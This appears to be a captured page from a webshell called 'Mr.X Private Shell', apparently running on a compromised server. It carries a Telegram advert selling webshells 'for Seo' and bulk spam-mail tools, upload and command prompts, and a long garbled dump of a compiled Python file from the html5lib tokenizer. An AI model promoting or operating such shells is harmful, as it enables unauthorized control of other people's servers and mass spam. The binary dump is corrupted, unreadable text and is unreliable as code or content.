__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

�|�fz,����SSKJrJr SSKJr SSKJr SSKJr SSKJrJ	r	 SSKJ
r
JrJr SSKJ
r
Jr SS	KJr SS
KJr SSKJr \"\5r\S:�a\rO\r"S
S5rg)�)�deque�OrderedDict)�version_info�)�spaceCharacters)�entities)�asciiLetters�asciiUpper2Lower)�digits�	hexDigits�EOF)�
tokenTypes�
tagTokenTypes)�replacementCharacters)�HTMLInputStream)�Trie)��c��^�\rSrSrSrSMU4SjjrSrSrSNSjrSr	Sr
S	rS
rSr
SrS
rSrSrSrSrSrSrSrSrSrSrSrSrSrSrSrSrSr Sr!S r"S!r#S"r$S#r%S$r&S%r'S&r(S'r)S(r*S)r+S*r,S+r-S,r.S-r/S.r0S/r1S0r2S1r3S2r4S3r5S4r6S5r7S6r8S7r9S8r:S9r;S:r<S;r=S<r>S=r?S>r@S?rAS@rBSArCSBrDSCrESDrFSErGSFrHSGrISHrJSIrKSJrLSKrMSLrNU=rO$)O�
HTMLTokenizer�z�This class takes care of tokenizing HTML.

* self.currentToken
  Holds the token that is currently being processed.

* self.state
  Holds a reference to the method to be invoked... XXX

* self.stream
  Points to HTMLInputStream object.
c�>�[U40UD6UlX lSUl/UlUR
UlSUlSUl[[U]/5 g�NF)r�stream�parser�
escapeFlag�
lastFourChars�	dataState�state�escape�currentToken�superr�__init__)�selfrr�kwargs�	__class__s    ��5/usr/lib/python3/dist-packages/html5lib/_tokenizer.pyr#�HTMLTokenizer.__init__%sS���%�f�7��7����� �������^�^��
����!���
�m�T�+�-�c#��# �[/5UlUR5(a�URR(aN[
SURRR
S5S.v� URR(aMNUR(a/URR5v� UR(aM/UR5(aM�gg7f)z�This is where the magic happens.

We do our usually processing through the states and when we have a token
to return we yield the token which pauses processing until the next token
is requested.
�
ParseErrorr��type�dataN)r�
tokenQueuerr�errorsr�pop�popleft�r$s r'�__iter__�HTMLTokenizer.__iter__4s���� ��)����j�j�l�l��+�+�$�$�)�,�7����AS�AS�AW�AW�XY�AZ�[�[��+�+�$�$�$��/�/��o�o�-�-�/�/��/�/�/��j�j�l�l�s�B
C*�>C*�C*�(C*c�*�[nSnU(a[nSn/nURR5nXR;aDU[La;URU5 URR5nXR;aU[LaM;[
SRU5U5nU[;a2[UnURR[SSSU0S.5 O�SUs=::aS	::dO US
:�a+SnURR[SSSU0S.5 O�SUs=::aS
::d@O SUs=::aS::d1O SUs=::aS::d"O SUs=::aS::dO U[/SQ5;a(URR[SSSU0S.5 [U5nUS:wa@URR[SSS.5 URRU5 U$![a+ US-
n[SUS-	-5[SUS--5-nN|f=f)z�This function returns either U+FFFD or the character based on the
decimal or hexadecimal representation. It also discards ";" if present.
If not present self.tokenQueue.append({"type": tokenTypes["ParseError"]}) is invoked.
�
��r+z$illegal-codepoint-for-numeric-entity�	charAsInt�r-r.�datavarsi�i�����r�����i�i�)#�i��i��i��i��i��i��i��i��i��i��i��i��i��i��i��i��i��i��i��	i��	i��
i��
i��i��i��i��i��
i��
i��i��i��i��i��r=ii�i��;z numeric-entity-without-semicolonr,)rrr�charr
�append�int�joinrr/r�	frozenset�chr�
ValueError�unget)	r$�isHex�allowed�radix�	charStack�cr:rF�vs	         r'�consumeNumberEntity�!HTMLTokenizer.consumeNumberEntityDs��������G��E��	�
�K�K������l�q��|����Q����� � �"�A��l�q��|�
����	�*�E�2�	��-�-�(��3�D��O�O�"�"�J�|�,D�$J�1<�i�0H�$J�
K���,�f�,��8�#��D��O�O�"�"�J�|�,D�$J�1<�i�0H�$J�
K�
�9�.��.��9�.��.��9�.��.��9�.��.��Y�(E�F�F����&�&�
�<�0H�(N�5@�)�4L�(N�O�
K��9�~��
��8��O�O�"�"�J�|�,D�$F�$H�
I��K�K���a� �����
K���'���6�Q�"�W�-�.��V�q�5�y�5I�1J�J��
K�s�
G�2H�Hc���SnURR5/nUS[;dUS[SS4;dUb(XS:Xa URR	US5 GOUSS:XGaSnURURR55 USS;a+SnURURR55 U(a
US[;dU(d>US[;a1URR	US5 URU5nGOPURR[S	S
S.5 URR	UR55 SSRU5-nGO�US[Laa[RSRU55(dO7URURR55 US[LaMa[RSRUSS55n[!U5nUb�USS
:wa%URR[S	SS.5 USS
:wafU(a_UW[$;dXG[;dXGS:Xa>URR	UR55 SSRU5-nO�[&UnURR	UR55 USRUWS5-
nObURR[S	SS.5 URR	UR55 SSRU5-nU(aUR(SSS==U-
ss'gU[;aSnOSnURR[UUS.5 g!["a SnGN�f=f)N�&r�<�#F���)�x�XTr+zexpected-numeric-entityr,r9rEznamed-entity-without-semicolon�=zexpected-named-entityr.r�SpaceCharacters�
Characters)rrFrr
rMrGrrrTr/rr1rI�entitiesTrie�has_keys_with_prefix�longest_prefix�len�KeyErrorr	rr!)	r$�allowedChar�
fromAttribute�outputrQ�hex�
entityName�entityLength�	tokenTypes	         r'�
consumeEntity�HTMLTokenizer.consumeEntity�sO�����[�[�%�%�'�(�	��a�L�O�+�y��|��S�#��/N��(�[�a�L�-H��K�K���i��l�+�
�q�\�S�
 ��C����T�[�[�-�-�/�0���}�
�*���� � ����!1�!1�!3�4��	�"�
��2��I�b�M�V�$;����!�!�)�B�-�0��1�1�#�6�����&�&�
�<�0H�0I�(K�L����!�!�)�-�-�/�2��r�w�w�y�1�1���R�=��+�#�8�8�����9K�L�L��� � ����!1�!1�!3�4��R�=��+�
"�)�8�8�����3�B��9P�Q�
�"�:����%��b�>�S�(��O�O�*�*�J�|�4L�,L�,N�O��r�N�c�)�m��|�,��<��,��6��,��3��K�K�%�%�i�m�m�o�6� �2�7�7�9�#5�5�F�%�j�1�F��K�K�%�%�i�m�m�o�6��b�g�g�i��
�&>�?�?�F����&�&�
�<�0H�(?�(A�B����!�!�)�-�-�/�2��r�w�w�y�1�1������f�%�b�)�!�,��6�,���(�-�	�(�	��O�O�"�"�J�y�,A�6�#R�S��=�
"�!�
�
"�s�:2O�O"�!O"c�$�URUSS9 g)zIThis method replaces the need for "entityInAttributeValueState".
        T)rerfN)rl)r$res  r'�processEntityInAttribute�&HTMLTokenizer.processEntityInAttribute�s��	
���{�$��Gr)c�F�URnUS[;a�USR[5US'US[S:XaCUSn[U5n[
U5[
U5:�aURUSSS25 X1S'US[S:Xa^US(a%URR[SS	S
.5 US(a%URR[SSS
.5 URRU5 URUlg)
z�This method is a generic handler for emitting the tags. It also sets
the state to "data" because that's what's needed after a token has been
emitted.
r-�name�StartTagr.NrZ�EndTagr+zattributes-in-end-tagr,�selfClosingzself-closing-flag-on-end-tag)r!r�	translater
r�attributeMaprc�updater/rGrr)r$�token�rawr.s    r'�emitCurrentToken�HTMLTokenizer.emitCurrentToken�s��
�!�!���&�M�]�*�!�&�M�3�3�4D�E�E�&�M��V�}�
�:� 6�6��F�m��#�C�(���s�8�c�$�i�'��K�K��D�b�D�	�*� $�f�
��V�}�
�8� 4�4���=��O�O�*�*�J�|�4L�4K�,M�N���'��O�O�*�*�J�|�4L�4R�,T�U������u�%��^�^��
r)c�r�URR5nUS:XaURUlg
US:XaURUlg
US:XaKUR
R
[SSS.5 UR
R
[SSS.5 g
U[LagU[;aFUR
R
[S	XRR[S
5-S.5 g
URRS5nUR
R
[SX-S.5 g
)NrWrX�r+�invalid-codepointr,r_Fr^T�rWrXr~)rrF�entityDataStater�tagOpenStater/rGrr
r�
charsUntil�r$r.�charss   r'r�HTMLTokenizer.dataState�s,���{�{���!���3�;��-�-�D�J�0�/�S�[��*�*�D�J�,�+�X�
��O�O�"�"�J�|�,D�,?�$A�
B��O�O�"�"�J�|�,D�,4�$6�
7�$�!�S�[��
�_�
$�
�O�O�"�"�J�7H�,I�$(�;�;�+A�+A�/�SW�+X�$X�$Z�
[���K�K�*�*�+?�@�E��O�O�"�"�J�|�,D�$(�L�$2�
3�r)c�F�UR5 URUlg�NT)rlrrr3s r'r��HTMLTokenizer.entityDataStates�������^�^��
�r)c�t�URR5nUS:XaURUlgUS:XaURUlgU[
:XagUS:XaKURR[SSS.5 URR[SS	S.5 gU[;aFURR[S
XRR[S5-S.5 gURRS5nURR[SX-S.5 g)
NrWrXFr~r+rr,r_r>r^Tr�)rrF�characterReferenceInRcdatar�rcdataLessThanSignStater
r/rGrrr�r�s   r'�rcdataState�HTMLTokenizer.rcdataStates,���{�{���!���3�;��8�8�D�J�0�/�S�[��5�5�D�J�,�+�S�[��
�X�
��O�O�"�"�J�|�,D�,?�$A�
B��O�O�"�"�J�|�,D�,4�$6�
7���_�
$�
�O�O�"�"�J�7H�,I�$(�;�;�+A�+A�/�SW�+X�$X�$Z�
[���K�K�*�*�+?�@�E��O�O�"�"�J�|�,D�$(�L�$2�
3�r)c�F�UR5 URUlgr�)rlr�rr3s r'r��(HTMLTokenizer.characterReferenceInRcdata<s�������%�%��
�r)c��URR5nUS:XaURUlg
US:XaKURR[SSS.5 URR[SSS.5 g
U[:XagURRS	5nURR[SX-S.5 g
�NrXr~r+rr,r_r>F)rXr~T)	rrF�rawtextLessThanSignStaterr/rGrr
r�r�s   r'�rawtextState�HTMLTokenizer.rawtextStateAs����{�{���!���3�;��6�6�D�J���X�
��O�O�"�"�J�|�,D�,?�$A�
B��O�O�"�"�J�|�,D�,4�$6�
7���S�[���K�K�*�*�?�;�E��O�O�"�"�J�|�,D�$(�L�$2�
3�r)c��URR5nUS:XaURUlg
US:XaKURR[SSS.5 URR[SSS.5 g
U[:XagURRS	5nURR[SX-S.5 g
r�)	rrF�scriptDataLessThanSignStaterr/rGrr
r�r�s   r'�scriptDataState�HTMLTokenizer.scriptDataStateSs����{�{���!���3�;��9�9�D�J���X�
��O�O�"�"�J�|�,D�,?�$A�
B��O�O�"�"�J�|�,D�,4�$6�
7���S�[���K�K�*�*�?�;�E��O�O�"�"�J�|�,D�$(�L�$2�
3�r)c�p�URR5nU[:XagUS:XaKURR	[
SSS.5 URR	[
SSS.5 gURR	[
SXRR
S5-S.5 g)	NFr~r+rr,r_r>T)rrFr
r/rGrr��r$r.s  r'�plaintextState�HTMLTokenizer.plaintextStatees����{�{���!���3�;��
�X�
��O�O�"�"�J�|�,D�,?�$A�
B��O�O�"�"�J�|�,D�,4�$6�
7�
�
�O�O�"�"�J�|�,D�$(�;�;�+A�+A�(�+K�$K�$M�
N�r)c�X�URR5nUS:XaURUlgUS:XaURUlgU[
;a&[SU/SSS.UlURUlgUS:Xa\URR[SSS	.5 URR[S
SS	.5 URUlgUS:XaRURR[SS
S	.5 URRU5 URUlgURR[SSS	.5 URR[S
SS	.5 URRU5 URUlg)N�!�/rsF)r-rrr.ru�selfClosingAcknowledged�>r+z'expected-tag-name-but-got-right-bracketr,r_z<>�?z'expected-tag-name-but-got-question-markzexpected-tag-namerXT)rrF�markupDeclarationOpenStater�closeTagOpenStater	rr!�tagNameStater/rGrrM�bogusCommentStater�s  r'r��HTMLTokenizer.tagOpenStatets����{�{���!���3�;��8�8�D�J�<�;�S�[��/�/�D�J�8�7�\�
!�)3�J�)?�)-�r�05�<A�!C�D���*�*�D�J�,�+�S�[�
�O�O�"�"�J�|�,D�$M�$O�
P��O�O�"�"�J�|�,D�d�#S�T����D�J���S�[�
�O�O�"�"�J�|�,D�$M�$O�
P��K�K���d�#��/�/�D�J��
�O�O�"�"�J�|�,D�$7�$9�
:��O�O�"�"�J�|�,D�c�#R�S��K�K���d�#����D�J�r)c��URR5nU[;a%[SU/SS.UlUR
UlgUS:Xa7URR[SSS.5 URUlgU[La\URR[SSS.5 URR[S	S
S.5 URUlgURR[SSSU0S
.5 URRU5 URUlg)NrtF�r-rrr.rur�r+z*expected-closing-tag-but-got-right-bracketr,z expected-closing-tag-but-got-eofr_�</z!expected-closing-tag-but-got-charr.r;T)
rrFr	rr!r�rr/rGrr
rMr�r�s  r'r��HTMLTokenizer.closeTagOpenState�s,���{�{���!���<��)3�H�)=�t�)+�E�!C�D���*�*�D�J�"�!�S�[��O�O�"�"�J�|�,D�$P�$R�
S����D�J���S�[��O�O�"�"�J�|�,D�$F�$H�
I��O�O�"�"�J�|�,D�d�#S�T����D�J��
�O�O�"�"�J�|�,D�$G�17���$@�
A�
�K�K���d�#��/�/�D�J�r)c��URR5nU[;aURUlg
US:XaUR5 g
U[La7URR[SSS.5 URUlg
US:XaURUlg
US:Xa=URR[SSS.5 URS==S	-
ss'g
URS==U-
ss'g
)Nr�r+zeof-in-tag-namer,r�r~rrrr>T)
rrFr�beforeAttributeNameStaterr{r
r/rGrr�selfClosingStartTagStater!r�s  r'r��HTMLTokenizer.tagNameState�s���{�{���!���?�"��6�6�D�J�"�!�S�[��!�!�#���S�[��O�O�"�"�J�|�,D�$5�$7�
8����D�J���S�[��6�6�D�J���X�
��O�O�"�"�J�|�,D�,?�$A�
B����f�%��1�%�
�
���f�%��-�%�r)c��URR5nUS:XaSUlURUlgUR
R
[SSS.5 URRU5 URUlg�Nr�r9r_rXr,T)
rrF�temporaryBuffer�rcdataEndTagOpenStaterr/rGrrMr�r�s  r'r��%HTMLTokenizer.rcdataLessThanSignState�su���{�{���!���3�;�#%�D� ��3�3�D�J�
�
�O�O�"�"�J�|�,D�c�#R�S��K�K���d�#��)�)�D�J�r)c�<�URR5nU[;a'U=RU-
slURUlgURR[SSS.5 URRU5 URUlg�Nr_r�r,T)rrFr	r��rcdataEndTagNameStaterr/rGrrMr�r�s  r'r��#HTMLTokenizer.rcdataEndTagOpenState�s���{�{���!���<��� � �D�(� ��3�3�D�J�
�
�O�O�"�"�J�|�,D�d�#S�T��K�K���d�#��)�)�D�J�r)c�Z�UR=(a8 URSR5URR5:HnURR	5nU[
;a6U(a/[SUR/SS.UlURUlg
US:Xa6U(a/[SUR/SS.UlURUlg
US:XaFU(a?[SUR/SS.UlUR5 URUlg
U[;aU=RU-
slg
URR[SSUR-S	.5 URRU5 UR Ulg
�NrrrtFr�r�r�r_r�r,T)r!�lowerr�rrFrrr�rr�r{rr	r/rGrMr��r$�appropriater.s   r'r��#HTMLTokenizer.rcdataEndTagNameState�s����'�'�m�D�,=�,=�f�,E�,K�,K�,M�QU�Qe�Qe�Qk�Qk�Qm�,m���{�{���!���?�"�{�)3�H�)=�)-�)=�)=�)+�E�!C�D���6�6�D�J�&�%�S�[�[�)3�H�)=�)-�)=�)=�)+�E�!C�D���6�6�D�J���S�[�[�)3�H�)=�)-�)=�)=�)+�E�!C�D��
�!�!�#����D�J���\�
!�� � �D�(� ��	
�O�O�"�"�J�|�,D�,0�4�3G�3G�,G�$I�
J��K�K���d�#��)�)�D�J�r)c��URR5nUS:XaSUlURUlgUR
R
[SSS.5 URRU5 URUlgr�)
rrFr��rawtextEndTagOpenStaterr/rGrrMr�r�s  r'r��&HTMLTokenizer.rawtextLessThanSignState�su���{�{���!���3�;�#%�D� ��4�4�D�J�
�
�O�O�"�"�J�|�,D�c�#R�S��K�K���d�#��*�*�D�J�r)c�<�URR5nU[;a'U=RU-
slURUlgURR[SSS.5 URRU5 URUlgr�)rrFr	r��rawtextEndTagNameStaterr/rGrrMr�r�s  r'r��$HTMLTokenizer.rawtextEndTagOpenStates���{�{���!���<��� � �D�(� ��4�4�D�J�
�
�O�O�"�"�J�|�,D�d�#S�T��K�K���d�#��*�*�D�J�r)c�Z�UR=(a8 URSR5URR5:HnURR	5nU[
;a6U(a/[SUR/SS.UlURUlg
US:Xa6U(a/[SUR/SS.UlURUlg
US:XaFU(a?[SUR/SS.UlUR5 URUlg
U[;aU=RU-
slg
URR[SSUR-S	.5 URRU5 UR Ulg
r�)r!r�r�rrFrrr�rr�r{rr	r/rGrMr�r�s   r'r��$HTMLTokenizer.rawtextEndTagNameState
s����'�'�m�D�,=�,=�f�,E�,K�,K�,M�QU�Qe�Qe�Qk�Qk�Qm�,m���{�{���!���?�"�{�)3�H�)=�)-�)=�)=�)+�E�!C�D���6�6�D�J�&�%�S�[�[�)3�H�)=�)-�)=�)=�)+�E�!C�D���6�6�D�J���S�[�[�)3�H�)=�)-�)=�)=�)+�E�!C�D��
�!�!�#����D�J���\�
!�� � �D�(� ��	
�O�O�"�"�J�|�,D�,0�4�3G�3G�,G�$I�
J��K�K���d�#��*�*�D�J�r)c��URR5nUS:XaSUlURUlgUS:Xa7UR
R
[SSS.5 URUlgUR
R
[SSS.5 URRU5 URUlg)	Nr�r9r�r_z<!r,rXT)rrFr��scriptDataEndTagOpenStaterr/rGr�scriptDataEscapeStartStaterMr�r�s  r'r��)HTMLTokenizer.scriptDataLessThanSignState)s����{�{���!���3�;�#%�D� ��7�7�D�J���S�[��O�O�"�"�J�|�,D�d�#S�T��8�8�D�J�
�
�O�O�"�"�J�|�,D�c�#R�S��K�K���d�#��-�-�D�J�r)c�<�URR5nU[;a'U=RU-
slURUlgURR[SSS.5 URRU5 URUlgr�)rrFr	r��scriptDataEndTagNameStaterr/rGrrMr�r�s  r'r��'HTMLTokenizer.scriptDataEndTagOpenState7s���{�{���!���<��� � �D�(� ��7�7�D�J�
�
�O�O�"�"�J�|�,D�d�#S�T��K�K���d�#��-�-�D�J�r)c�Z�UR=(a8 URSR5URR5:HnURR	5nU[
;a6U(a/[SUR/SS.UlURUlg
US:Xa6U(a/[SUR/SS.UlURUlg
US:XaFU(a?[SUR/SS.UlUR5 URUlg
U[;aU=RU-
slg
URR[SSUR-S	.5 URRU5 UR Ulg
r�)r!r�r�rrFrrr�rr�r{rr	r/rGrMr�r�s   r'r��'HTMLTokenizer.scriptDataEndTagNameStateBs����'�'�m�D�,=�,=�f�,E�,K�,K�,M�QU�Qe�Qe�Qk�Qk�Qm�,m���{�{���!���?�"�{�)3�H�)=�)-�)=�)=�)+�E�!C�D���6�6�D�J�&�%�S�[�[�)3�H�)=�)-�)=�)=�)+�E�!C�D���6�6�D�J���S�[�[�)3�H�)=�)-�)=�)=�)+�E�!C�D��
�!�!�#����D�J���\�
!�� � �D�(� ��	
�O�O�"�"�J�|�,D�,0�4�3G�3G�,G�$I�
J��K�K���d�#��-�-�D�J�r)c�
�URR5nUS:Xa7URR[SSS.5 UR
UlgURRU5 URUlg�N�-r_r,T)	rrFr/rGr�scriptDataEscapeStartDashStaterrMr�r�s  r'r��(HTMLTokenizer.scriptDataEscapeStartState^�m���{�{���!���3�;��O�O�"�"�J�|�,D�c�#R�S��<�<�D�J��
�K�K���d�#��-�-�D�J�r)c�
�URR5nUS:Xa7URR[SSS.5 UR
UlgURRU5 URUlgr�)	rrFr/rGr�scriptDataEscapedDashDashStaterrMr�r�s  r'r��,HTMLTokenizer.scriptDataEscapeStartDashStatehr�r)c�@�URR5nUS:Xa7URR[SSS.5 UR
Ulg
US:XaURUlg
US:XaKURR[SSS.5 URR[SSS.5 g
U[:XaURUlg
URRS	5nURR[SX-S.5 g
)Nr�r_r,rXr~r+rr>)rXr�r~T)rrFr/rGr�scriptDataEscapedDashStater�"scriptDataEscapedLessThanSignStater
rr�r�s   r'�scriptDataEscapedState�$HTMLTokenizer.scriptDataEscapedStaters
���{�{���!���3�;��O�O�"�"�J�|�,D�c�#R�S��8�8�D�J���S�[��@�@�D�J���X�
��O�O�"�"�J�|�,D�,?�$A�
B��O�O�"�"�J�|�,D�,4�$6�
7��
�S�[����D�J�
��K�K�*�*�+?�@�E��O�O�"�"�J�|�,D�$(�L�$2�
3�r)c�J�URR5nUS:Xa7URR[SSS.5 UR
Ulg	US:XaURUlg	US:Xa\URR[SSS.5 URR[SSS.5 URUlg	U[:XaURUlg	URR[SUS.5 URUlg	)
Nr�r_r,rXr~r+rr>T)rrFr/rGrr�rr�r�r
rr�s  r'r��(HTMLTokenizer.scriptDataEscapedDashState�s���{�{���!���3�;��O�O�"�"�J�|�,D�c�#R�S��<�<�D�J���S�[��@�@�D�J���X�
��O�O�"�"�J�|�,D�,?�$A�
B��O�O�"�"�J�|�,D�,4�$6�
7��4�4�D�J���S�[����D�J��
�O�O�"�"�J�|�,D�d�#S�T��4�4�D�J�r)c��URR5nUS:Xa&URR[SSS.5 g
US:XaUR
Ulg
US:Xa7URR[SSS.5 URUlg
US:Xa\URR[SSS.5 URR[SS	S.5 URUlg
U[:XaURUlg
URR[SUS.5 URUlg
)Nr�r_r,rXr�r~r+rr>T)rrFr/rGrr�rr�r�r
rr�s  r'r��,HTMLTokenizer.scriptDataEscapedDashDashState�s5���{�{���!���3�;��O�O�"�"�J�|�,D�c�#R�S�"�!�S�[��@�@�D�J���S�[��O�O�"�"�J�|�,D�c�#R�S��-�-�D�J���X�
��O�O�"�"�J�|�,D�,?�$A�
B��O�O�"�"�J�|�,D�,4�$6�
7��4�4�D�J���S�[����D�J��
�O�O�"�"�J�|�,D�d�#S�T��4�4�D�J�r)c��URR5nUS:XaSUlURUlgU[
;a@URR[SSU-S.5 XlURUlgURR[SSS.5 URRU5 URUlgr�)rrFr�� scriptDataEscapedEndTagOpenStaterr	r/rGr� scriptDataDoubleEscapeStartStaterMr�r�s  r'r��0HTMLTokenizer.scriptDataEscapedLessThanSignState�s����{�{���!���3�;�#%�D� ��>�>�D�J���\�
!��O�O�"�"�J�|�,D�c�TX�j�#Y�Z�#'� ��>�>�D�J�
�
�O�O�"�"�J�|�,D�c�#R�S��K�K���d�#��4�4�D�J�r)c��URR5nU[;aXlURUlgURR[SSS.5 URRU5 URUlgr�)rrFr	r�� scriptDataEscapedEndTagNameStaterr/rGrrMr�r�s  r'r��.HTMLTokenizer.scriptDataEscapedEndTagOpenState�st���{�{���!���<��#'� ��>�>�D�J�
�
�O�O�"�"�J�|�,D�d�#S�T��K�K���d�#��4�4�D�J�r)c�Z�UR=(a8 URSR5URR5:HnURR	5nU[
;a6U(a/[SUR/SS.UlURUlg
US:Xa6U(a/[SUR/SS.UlURUlg
US:XaFU(a?[SUR/SS.UlUR5 URUlg
U[;aU=RU-
slg
URR[SSUR-S	.5 URRU5 UR Ulg
r�)r!r�r�rrFrrr�rr�r{rr	r/rGrMr�r�s   r'r��.HTMLTokenizer.scriptDataEscapedEndTagNameState�s����'�'�m�D�,=�,=�f�,E�,K�,K�,M�QU�Qe�Qe�Qk�Qk�Qm�,m���{�{���!���?�"�{�)3�H�)=�)-�)=�)=�)+�E�!C�D���6�6�D�J�&�%�S�[�[�)3�H�)=�)-�)=�)=�)+�E�!C�D���6�6�D�J���S�[�[�)3�H�)=�)-�)=�)=�)+�E�!C�D��
�!�!�#����D�J���\�
!�� � �D�(� ��	
�O�O�"�"�J�|�,D�,0�4�3G�3G�,G�$I�
J��K�K���d�#��4�4�D�J�r)c��URR5nU[[S5-;ahURR[SUS.5 URR5S:XaURUl
gURUl
gU[;a;URR[SUS.5 U=RU-
slgURRU5 URUl
g�N)r�r�r_r,�scriptT)rrFrrJr/rGrr�r��scriptDataDoubleEscapedStaterr�r	rMr�s  r'r��.HTMLTokenizer.scriptDataDoubleEscapeStartState�s����{�{���!���O�i�
�&;�;�<��O�O�"�"�J�|�,D�d�#S�T��#�#�)�)�+�x�7�!�>�>��
��"�8�8��
��
�\�
!��O�O�"�"�J�|�,D�d�#S�T�� � �D�(� ��
�K�K���d�#��4�4�D�J�r)c��URR5nUS:Xa7URR[SSS.5 UR
Ulg
US:Xa7URR[SSS.5 URUlg
US:XaKURR[SSS.5 URR[SSS.5 g
U[:Xa7URR[SS	S.5 URUlg
URR[SUS.5 g
�Nr�r_r,rXr~r+rr>�eof-in-script-in-scriptT)
rrFr/rGr� scriptDataDoubleEscapedDashStater�(scriptDataDoubleEscapedLessThanSignStater
rr�s  r'r��*HTMLTokenizer.scriptDataDoubleEscapedState�s/���{�{���!���3�;��O�O�"�"�J�|�,D�c�#R�S��>�>�D�J���S�[��O�O�"�"�J�|�,D�c�#R�S��F�F�D�J���X�
��O�O�"�"�J�|�,D�,?�$A�
B��O�O�"�"�J�|�,D�,4�$6�
7��
�S�[��O�O�"�"�J�|�,D�$=�$?�
@����D�J��
�O�O�"�"�J�|�,D�d�#S�T�r)c���URR5nUS:Xa7URR[SSS.5 UR
Ulg
US:Xa7URR[SSS.5 URUlg
US:Xa\URR[SSS.5 URR[SSS.5 URUlg
U[:Xa7URR[SS	S.5 URUlg
URR[SUS.5 URUlg
r�)rrFr/rGr�$scriptDataDoubleEscapedDashDashStaterr�r�r
rr�s  r'r��.HTMLTokenizer.scriptDataDoubleEscapedDashStatesI���{�{���!���3�;��O�O�"�"�J�|�,D�c�#R�S��B�B�D�J�"�!�S�[��O�O�"�"�J�|�,D�c�#R�S��F�F�D�J���X�
��O�O�"�"�J�|�,D�,?�$A�
B��O�O�"�"�J�|�,D�,4�$6�
7��:�:�D�J���S�[��O�O�"�"�J�|�,D�$=�$?�
@����D�J��
�O�O�"�"�J�|�,D�d�#S�T��:�:�D�J�r)c�6�URR5nUS:Xa&URR[SSS.5 gUS:Xa7URR[SSS.5 UR
UlgUS:Xa7URR[SSS.5 URUlgUS:Xa\URR[SSS.5 URR[SS	S.5 URUlgU[:Xa7URR[SS
S.5 URUlgURR[SUS.5 URUlg)Nr�r_r,rXr�r~r+rr>r�T)rrFr/rGrr�rr�r�r
rr�s  r'r��2HTMLTokenizer.scriptDataDoubleEscapedDashDashState"ss���{�{���!���3�;��O�O�"�"�J�|�,D�c�#R�S�(�'�S�[��O�O�"�"�J�|�,D�c�#R�S��F�F�D�J�"�!�S�[��O�O�"�"�J�|�,D�c�#R�S��-�-�D�J���X�
��O�O�"�"�J�|�,D�,?�$A�
B��O�O�"�"�J�|�,D�,4�$6�
7��:�:�D�J���S�[��O�O�"�"�J�|�,D�$=�$?�
@����D�J��
�O�O�"�"�J�|�,D�d�#S�T��:�:�D�J�r)c��URR5nUS:Xa>URR[SSS.5 SUlURUlgURRU5 URUlg)Nr�r_r,r9T)
rrFr/rGrr��scriptDataDoubleEscapeEndStaterrMr�r�s  r'r��6HTMLTokenizer.scriptDataDoubleEscapedLessThanSignState;su���{�{���!���3�;��O�O�"�"�J�|�,D�c�#R�S�#%�D� ��<�<�D�J��
�K�K���d�#��:�:�D�J�r)c��URR5nU[[S5-;ahURR[SUS.5 URR5S:XaURUl
gURUl
gU[;a;URR[SUS.5 U=RU-
slgURRU5 URUl
gr�)rrFrrJr/rGrr�r�r�rr�r	rMr�s  r'r��,HTMLTokenizer.scriptDataDoubleEscapeEndStateFs����{�{���!���O�i�
�&;�;�<��O�O�"�"�J�|�,D�d�#S�T��#�#�)�)�+�x�7�!�8�8��
��"�>�>��
��
�\�
!��O�O�"�"�J�|�,D�d�#S�T�� � �D�(� ��
�K�K���d�#��:�:�D�J�r)c��URR5nU[;a!URR[S5 gU[;a2UR
SR
US/5 URUlgUS:XaUR5 gUS:XaURUlgUS;aWURR
[SSS	.5 UR
SR
US/5 URUlgUS
:XaWURR
[SSS	.5 UR
SR
SS/5 URUlgU[La7URR
[SS
S	.5 URUlgUR
SR
US/5 URUlg)NTr.r9r�r�)�'�"r]rXr+�#invalid-character-in-attribute-namer,r~rr>z#expected-attribute-name-but-got-eof)rrFrr�r	r!rG�attributeNameStaterr{r�r/rr
rr�s  r'r��&HTMLTokenizer.beforeAttributeNameStateVs����{�{���!���?�"��K�K�"�"�?�D�9�2�1�\�
!����f�%�,�,�d�B�Z�8��0�0�D�J�,�+�S�[��!�!�#�(�'�S�[��6�6�D�J�$�#�)�
)��O�O�"�"�J�|�,D�$I�$K�
L����f�%�,�,�d�B�Z�8��0�0�D�J���X�
��O�O�"�"�J�|�,D�,?�$A�
B����f�%�,�,�h��^�<��0�0�D�J���S�[��O�O�"�"�J�|�,D�$I�$K�
L����D�J��
���f�%�,�,�d�B�Z�8��0�0�D�J�r)c���URR5nSnSnUS:XaURUlGO�U[;aBUR
SSS==UURR
[S5--
ss'SnGO4US:XaSnGO*U[;aURUlGO
US:XaURUlO�US	:XaEURR[S
SS.5 UR
SSS==S
-
ss'SnO�US;aEURR[S
SS.5 UR
SSS==U-
ss'SnO_U[La7URR[S
SS.5 URUlOUR
SSS==U-
ss'SnU(a�UR
SSSR[ 5UR
SSS'UR
SSSHEupEUR
SSSU:XdM URR[S
SS.5  O U(aUR#5 g)NTFr]r.rZrr�r�r~r+rr,r>�rrrXrzeof-in-attribute-namezduplicate-attribute)rrF�beforeAttributeValueStaterr	r!r�r�afterAttributeNameStater�r/rGrr
rrvr
r{)r$r.�leavingThisState�	emitTokenrr�_s      r'r� HTMLTokenizer.attributeNameStatetsj���{�{���!�����	��3�;��7�7�D�J�
�\�
!����f�%�b�)�!�,�����&�&�|�T�:�1;�
;�,�$��
�S�[��I�
�_�
$��5�5�D�J�
�S�[��6�6�D�J�
�X�
��O�O�"�"�J�|�,D�,?�$A�
B����f�%�b�)�!�,��8�,�$��
�_�
$��O�O�"�"�J�|�,D�$I�$K�
L�
���f�%�b�)�!�,��4�,�$��
�S�[��O�O�"�"�J�|�,D�,C�$E�
F����D�J����f�%�b�)�!�,��4�,�$���
�!�!�&�)�"�-�a�0�:�:�;K�L�
